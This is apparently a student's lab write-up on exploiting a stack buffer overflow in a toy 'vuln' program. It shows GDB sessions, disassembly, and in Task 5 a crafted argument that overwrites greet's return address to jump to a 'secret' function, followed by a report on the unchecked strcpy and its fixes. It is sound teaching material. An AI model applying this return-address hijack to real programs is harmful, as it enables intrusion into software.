Buffer Overflow Exploitation

Attached below are the screenshots of the entire GDB session.

Task 2

```
ssl125@java:~/assignments/assignments/EC0$ gdb vuln
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(gdb) break main
Breakpoint 1 at 0x120d: file vuln.c, line 21.
(gdb) r test
Starting program: /common/home/ssl125/assignments/assignments/EC0/vuln test


Breakpoint 1, main (argc=21845, argv=0x0) at vuln.c:21
21      int main(int argc, char **argv) {
(gdb) next
22          if (argc != 2) {
(gdb)
26          struct passwd* userInfo = getpwuid(getuid());
(gdb)
27          username = userInfo->pw_name;
(gdb)
28          greet(argv[1]);
(gdb) step
greet (name=0x7fffffffe290 "") at vuln.c:15
15      void greet(char *name) {
(gdb) next
17          strcpy(buf, name);
(gdb)
18          printf("Hello, %s!\n", buf);
(gdb) print buf
$1 = "test\000\343\377\377\377\177\000"
(gdb) next
Hello, test!
19      }
(gdb)
main (argc=2, argv=0x7fffffffe388) at vuln.c:29
29          return 0;
(gdb)
30      }
(gdb)
__libc_start_main (main=0x55555555520d <main>, argc=2, argv=0x7fffffffe388, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
    stack_end=0x7fffffffe378) at ../csu/libc-start.c:342
342     ../csu/libc-start.c: No such file or directory.
(gdb)
[Inferior 1 (process 847189) exited normally]
```

Task 3: Identified the vulnerability, caused segmentation fault

```
(gdb) r AAAAAAAAAAAAA
Starting program: /common/home/ssl125/assignments/assignments/EC0/vuln AAAAAAAAAAAAA

Breakpoint 1, main (argc=21845, argv=0x0) at vuln.c:21
21      int main(int argc, char **argv) {
(gdb) c
Continuing.
Hello, AAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
```

Task 4: Inspected stack pointer and found starting address of "secret" function. NOTE: Some of the 'x/4x $sp' calls were missing in the screenshot due to using layout next.

```
(gdb) info break
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x000055555555520d in main at vuln.c:21
        breakpoint already hit 1 time
(gdb) del 1
(gdb) break greet
Breakpoint 2 at 0x5555555551cf: file vuln.c, line 15.
(gdb) r AAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /common/home/ssl125/assignments/assignments/EC0/vuln AAAAAAAAAAAA

Breakpoint 2, greet (name=0x7fffffffe290 "") at vuln.c:15
15      void greet(char *name) {
(gdb) disas greet
Dump of assembler code for function greet:
=> 0x00005555555551cf <+0>:     endbr64
   0x00005555555551d3 <+4>:     push   %rbp
   0x00005555555551d4 <+5>:     mov    %rsp,%rbp
   0x00005555555551d7 <+8>:     sub    $0x20,%rsp
   0x00005555555551db <+12>:    mov    %rdi,-0x18(%rbp)
   0x00005555555551df <+16>:    mov    -0x18(%rbp),%rdx
   0x00005555555551e3 <+20>:    lea    -0xc(%rbp),%rax
   0x00005555555551e7 <+24>:    mov    %rdx,%rsi
   0x00005555555551ea <+27>:    mov    %rax,%rdi
   0x00005555555551ed <+30>:    callq  0x555555555080 <strcpy@plt>
   0x00005555555551f2 <+35>:    lea    -0xc(%rbp),%rax
   0x00005555555551f6 <+39>:    mov    %rax,%rsi
   0x00005555555551f9 <+42>:    lea    0xe46(%rip),%rdi        # 0x555555556046
   0x0000555555555200 <+49>:    mov    $0x0,%eax
   0x0000555555555205 <+54>:    callq  0x5555555550b0 <printf@plt>
   0x000055555555520a <+59>:    nop
   0x000055555555520b <+60>:    leaveq
   0x000055555555520c <+61>:    retq
End of assembler dump.
(gdb) break *0x00005555555551f2
Breakpoint 3 at 0x5555555551f2: file vuln.c, line 18.
(gdb) info break
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x00005555555551cf in greet at vuln.c:15
        breakpoint already hit 1 time
3       breakpoint     keep y   0x00005555555551f2 in greet at vuln.c:18
(gdb) del 2


(gdb) r AAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /common/home/ssl125/assignments/assignments/EC0/vuln AAAAAAAAAAAA

Breakpoint 3, greet (name=0x7fffffffe65a 'A' <repeats 13 times>) at vuln.c:18
18          printf("Hello, %s!\n", buf);
(gdb) layout next
(gdb) info registers
rax            0x7fffffffe254      140737488347732
rbx            0x555555555280      93824992236160
rcx            0x4141414141414141  4702111234474983745
rdx            0xd                 13
rsi            0x7fffffffe65a      140737488348762
rdi            0x7fffffffe254      140737488347732
rbp            0x7fffffffe260      0x7fffffffe260
rsp            0x7fffffffe240      0x7fffffffe240
r8             0x3                 3
r9             0x41414141414141    18367622009667905
r10            0x9                 9
r11            0x39                57
r12            0x5555555550c0      93824992235712
r13            0x7fffffffe380      140737488348032
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551f6      0x5555555551f6 <greet+39>
eflags         0x206               [ PF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
```

```
(gdb) disas secret
Dump of assembler code for function secret:
   0x00005555555551a9 <+0>:     endbr64
   0x00005555555551ad <+4>:     push   %rbp
   0x00005555555551ae <+5>:     mov    %rsp,%rbp
   0x00005555555551b1 <+8>:     mov    0x2e60(%rip),%rax        # 0x555555558018 <username>
   0x00005555555551b8 <+15>:    mov    %rax,%rsi
   0x00005555555551bb <+18>:    lea    0xe46(%rip),%rdi        # 0x555555556008
   0x00005555555551c2 <+25>:    mov    $0x0,%eax
   0x00005555555551c7 <+30>:    callq  0x5555555550b0 <printf@plt>
   0x00005555555551cc <+35>:    nop
   0x00005555555551cd <+36>:    pop    %rbp
   0x00005555555551ce <+37>:    retq
End of assembler dump.
```

Task 5: Discovered the final message.

```
(gdb) r AAAAAAAAAAAAAAAAAA©QUUUU
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /common/home/ssl125/assignments/assignments/EC0/vuln AAAAAAAAAAAAAAAAAA©QUUUU

Breakpoint 3, greet (name=0x7fffffffe64d 'A' <repeats 19 times>, "©QUUUU") at vuln.c:18
18          printf("Hello, %s!\n", buf);
(gdb) x/20x $sp
0x7fffffffe230: 0x55555280      0x00005555      0xffffe64d      0x00007fff
0x7fffffffe240: 0x555550c0      0x41414141      0x41414141      0x41414141
0x7fffffffe250: 0x41414141      0xc2414141      0x555551a9      0x00005555
0x7fffffffe260: 0xffffe378      0x00007fff      0x555550c0      0x00000002
0x7fffffffe270: 0xffffe370      0x00007fff      0xf7f874a0      0x00007fff
(gdb) c
Continuing.
Hello, AAAAAAAAAAAAAAAAAA©QUUUU!
Congratulations, ssl125! You have discovered the secret message.

Program received signal SIGILL, Illegal instruction.
0x00007fffffffe37a in ?? ()
```

Task 3 Report:

The vulnerability point is in the “greet” function, at line 17:

```
strcpy(buf, name);
```

This piece of code is vulnerable because the character array ‘buf’ has been allocated a length of 12 bytes in memory. The strcpy function does not check to see whether the length of the input string (the value at the variable ‘name’) fits within the destination (the character array ‘buf’). Thus, if a string longer than 12 bytes is copied into ‘buf’ by the strcpy function, the extra characters will overwrite nearby memory locations in the stack. We can see this in the third task screenshot attached to the report, where the input contains 13 characters and thus overflows the character array, resulting in a segfault.

You could protect against this by checking the length of the input before using the strcpy function, and by dynamically adding memory for ‘buf’ using the malloc function in order to match the input size.